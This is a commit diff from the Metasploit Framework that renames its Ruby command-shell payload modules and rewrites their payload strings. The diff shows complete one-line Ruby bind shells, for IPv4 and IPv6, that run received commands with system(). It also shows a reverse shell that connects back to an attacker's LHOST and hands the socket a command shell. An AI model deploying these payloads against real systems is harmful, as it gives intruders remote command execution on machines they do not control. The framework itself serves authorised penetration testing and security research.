Renamed and made more robust

Author: HD Moore

lib/msf/ui/console/command_dispatcher/exploit.rb

@@ -249,7 +249,7 @@ def self.choose_payload(mod, target)
 			'java/meterpreter/reverse_tcp',
 			'php/meterpreter/reverse_tcp',
 			'php/meterpreter_reverse_tcp',
-			'ruby/reverse_tcp',
+			'ruby/shell/reverse_tcp',
 			'cmd/unix/interact',
 			'cmd/unix/reverse',
 			'cmd/unix/reverse_perl',

modules/payloads/singles/ruby/bind_tcp.rb renamed to modules/payloads/singles/ruby/shell/bind_tcp.rb

@@ -19,7 +19,7 @@ def initialize(info = {})
 		super(merge_info(info,
 			'Name'        => 'Ruby Command Shell, Bind TCP',
 			'Description' => 'Continually listen for a connection and spawn a command shell via Ruby',
-			'Author'      => 'kris katterjohn',
+			'Author'      => [ 'kris katterjohn', 'hdm' ],
 			'License'     => MSF_LICENSE,
 			'Platform'    => 'ruby',
 			'Arch'        => ARCH_RUBY,
@@ -35,6 +35,6 @@ def generate
 	end
 
 	def ruby_string
-		"require 'socket';s=TCPServer.new(\"#{datastore['LPORT']}\");while(c=s.accept);while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end;end"
+		"require 'socket';s=TCPServer.new(\"#{datastore['LPORT']}\");c=s.accept;s.close;$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;system(l)}"
 	end
 end

modules/payloads/singles/ruby/bind_tcp_ipv6.rb renamed to modules/payloads/singles/ruby/shell/bind_tcp_ipv6.rb

@@ -19,7 +19,7 @@ def initialize(info = {})
 		super(merge_info(info,
 			'Name'        => 'Ruby Command Shell, Bind TCP IPv6',
 			'Description' => 'Continually listen for a connection and spawn a command shell via Ruby',
-			'Author'      => 'kris katterjohn',
+			'Author'      => [ 'kris katterjohn', 'hdm' ],
 			'License'     => MSF_LICENSE,
 			'Platform'    => 'ruby',
 			'Arch'        => ARCH_RUBY,
@@ -35,6 +35,6 @@ def generate
 	end
 
 	def ruby_string
-		"require 'socket';s=TCPServer.new(\"::\",\"#{datastore['LPORT']}\");while(c=s.accept);while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end;end"
+		"require 'socket';s=TCPServer.new(\"::\",\"#{datastore['LPORT']}\");c=s.accept;s.close;$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;system(l)}"
 	end
 end

modules/payloads/singles/ruby/reverse_tcp.rb renamed to modules/payloads/singles/ruby/shell/reverse_tcp.rb

@@ -19,7 +19,7 @@ def initialize(info = {})
 		super(merge_info(info,
 			'Name'        => 'Ruby Command Shell, Reverse TCP',
 			'Description' => 'Connect back and create a command shell via Ruby',
-			'Author'      => 'kris katterjohn',
+			'Author'      => [ 'kris katterjohn', 'hdm' ],
 			'License'     => MSF_LICENSE,
 			'Platform'    => 'ruby',
 			'Arch'        => ARCH_RUBY,
@@ -37,6 +37,6 @@ def generate
 	def ruby_string
 		lhost = datastore['LHOST']
 		lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
-		"require 'socket';c=TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end"
+		"require 'socket';c=TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\");$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;system(l)}"
 	end
 end